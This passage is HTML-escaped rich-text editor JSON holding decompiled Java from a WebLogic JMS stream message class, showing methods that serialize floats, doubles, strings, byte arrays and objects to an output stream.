{&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;y5kJ-1677058246239&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LpDU-1677058246238&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new weblogic.jms.common.JMSException(this.streamWriteError(60), var4);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eRfc-1677058246242&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WkHw-1677058246240&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NZm5-1677058246244&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZSrD-1677058246243&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5fAx-1677058246246&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DiB3-1677058246245&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vWhG-1677058246252&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6a85-1677058246250&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public void writeFloat(float var1) throws JMSException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zjOO-1677058246254&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kwrW-1677058246253&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.writeType((byte)5);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yjOx-1677058246256&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;04XA-1677058246255&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;N3iU-1677058246258&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XjFW-1677058246257&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CBES-1677058246260&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qjbT-1677058246259&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.bos.writeFloat(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4iXO-1677058246262&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gFWm-1677058246261&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (IOException var3) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UtEV-1677058246264&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rWfJ-1677058246263&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new weblogic.jms.common.JMSException(this.streamWriteError(70), var3);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3sua-1677058246266&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vOyF-1677058246265&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EFvG-1677058246268&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9S9E-1677058246267&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HoVD-1677058246270&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JqNE-1677058246269&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;010o-1677058246272&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;82bi-1677058246271&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public void writeDouble(double var1) throws JMSException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kl7J-1677058246274&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ek1G-1677058246273&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.writeType((byte)4);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;f6Zz-1677058246276&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;McxO-1677058246275&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;emZU-1677058246278&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ujg0-1677058246277&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DNUd-1677058246280&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MNru-1677058246279&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.bos.writeDouble(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uuwP-1677058246282&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oNex-1677058246281&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (IOException var4) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MSdj-1677058246284&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xDnT-1677058246283&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new weblogic.jms.common.JMSException(this.streamWriteError(80), var4);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6ixj-1677058246286&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bqZC-1677058246285&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7Puu-1677058246288&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HUvg-1677058246287&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;owuW-1677058246290&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gQwc-1677058246289&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iiMO-1677058246292&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rSi1-1677058246291&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public void writeString(String var1) throws JMSException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cGg2-1677058246294&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ifKn-1677058246293&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (var1 == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;raTp-1677058246296&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qEBG-1677058246295&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.writeType((byte)12);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c2vL-1677058246298&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JwFR-1677058246297&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ylB9-1677058246300&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;V7Oe-1677058246299&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;u2kC-1677058246302&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KN4s-1677058246301&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.writeStringInternal(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zZBm-1677058246304&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UEB4-1677058246303&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } catch (IOException var3) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qHSy-1677058246306&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;16Ci-1677058246305&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                throw new weblogic.jms.common.JMSException(this.streamWriteError(), var3);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uV8E-1677058246308&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;va8L-1677058246307&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BDa8-1677058246310&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4Lqz-1677058246309&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HRpR-1677058246312&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6rxv-1677058246311&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NDYZ-1677058246314&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2GH1-1677058246313&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;06FJ-1677058246316&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gmj8-1677058246315&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dUpL-1677058246318&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tacM-1677058246317&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public void writeBytes(byte[] var1) throws JMSException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;06xN-1677058246320&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nDHc-1677058246319&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.writeBytes(var1, 0, var1.length);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;081Z-1677058246322&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zyLK-1677058246321&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qXBx-1677058246324&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3hJY-1677058246323&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;X9WY-1677058246326&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oyiT-1677058246325&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public void writeBytes(byte[] var1, int var2, int var3) throws JMSException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;amJH-1677058246328&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SEIW-1677058246327&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (var1 == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c9fM-1677058246331&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kiWL-1677058246329&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new NullPointerException();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VOEt-1677058246343&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CNzn-1677058246342&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;atFF-1677058246345&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4ogj-1677058246344&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.writeType((byte)11);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KcJa-1677058246347&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KDgZ-1677058246346&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;f22e-1677058246349&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0CKS-1677058246348&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZAFw-1677058246351&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NSSr-1677058246350&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.bos.writeInt(var3);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Lr46-1677058246353&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6jCt-1677058246352&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.bos.write(var1, var2, var3);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FAqJ-1677058246355&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gKt4-1677058246354&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } catch (IOException var5) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MgEX-1677058246357&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;N6S6-1677058246356&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                throw new weblogic.jms.common.JMSException(this.streamWriteError(100), var5);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6yM1-1677058246359&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IGx9-1677058246358&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8feh-1677058246362&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ChwU-1677058246360&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;09Zb-1677058246364&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kAqX-1677058246363&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RDMB-1677058246366&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oAwo-1677058246365&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;n5jE-1677058246368&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vhgo-1677058246367&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public void writeObject(Object var1) throws JMSException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;apGk-1677058246370&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tV2k-1677058246369&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (var1 instanceof Boolean) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G5MS-1677058246372&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HdMK-1677058246371&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.writeBoolean((Boolean)var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;E9ri-1677058246374&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BFFQ-1677058246373&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else if (var1 instanceof Number) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CUL9-1677058246376&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CQ3K-1677058246375&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (var1 instanceof Byte) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RVOi-1677058246378&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XIYr-1677058246377&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.writeByte((Byte)var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Nwnf-1677058246380&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;G1Y0-1677058246379&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } else if (var1 instanceof Double) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wWj4-1677058246382&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wQ6h-1677058246381&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.writeDouble((Double)var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wGSu-1677058246384&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;g0mx-1677058246383&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } else if (var1 instanceof Float) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;f18j-1677058246386&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MDqi-1677058246385&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.writeFloat((Float)var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CcTv-1677058246388&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OnWp-1677058246387&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } else if (var1 instanceof Integer) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lltj-1677058246390&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;94RW-1677058246389&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.writeInt((Integer)var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZCky-1677058246392&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Nkww-1677058246391&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } else if (var1 instanceof Long) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;esqu-1677058246394&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Do4Z-1677058246393&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.writeLong((Long)var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dxaa-1677058246396&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;A34u-1677058246395&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } else if (var1 instanceof Short) 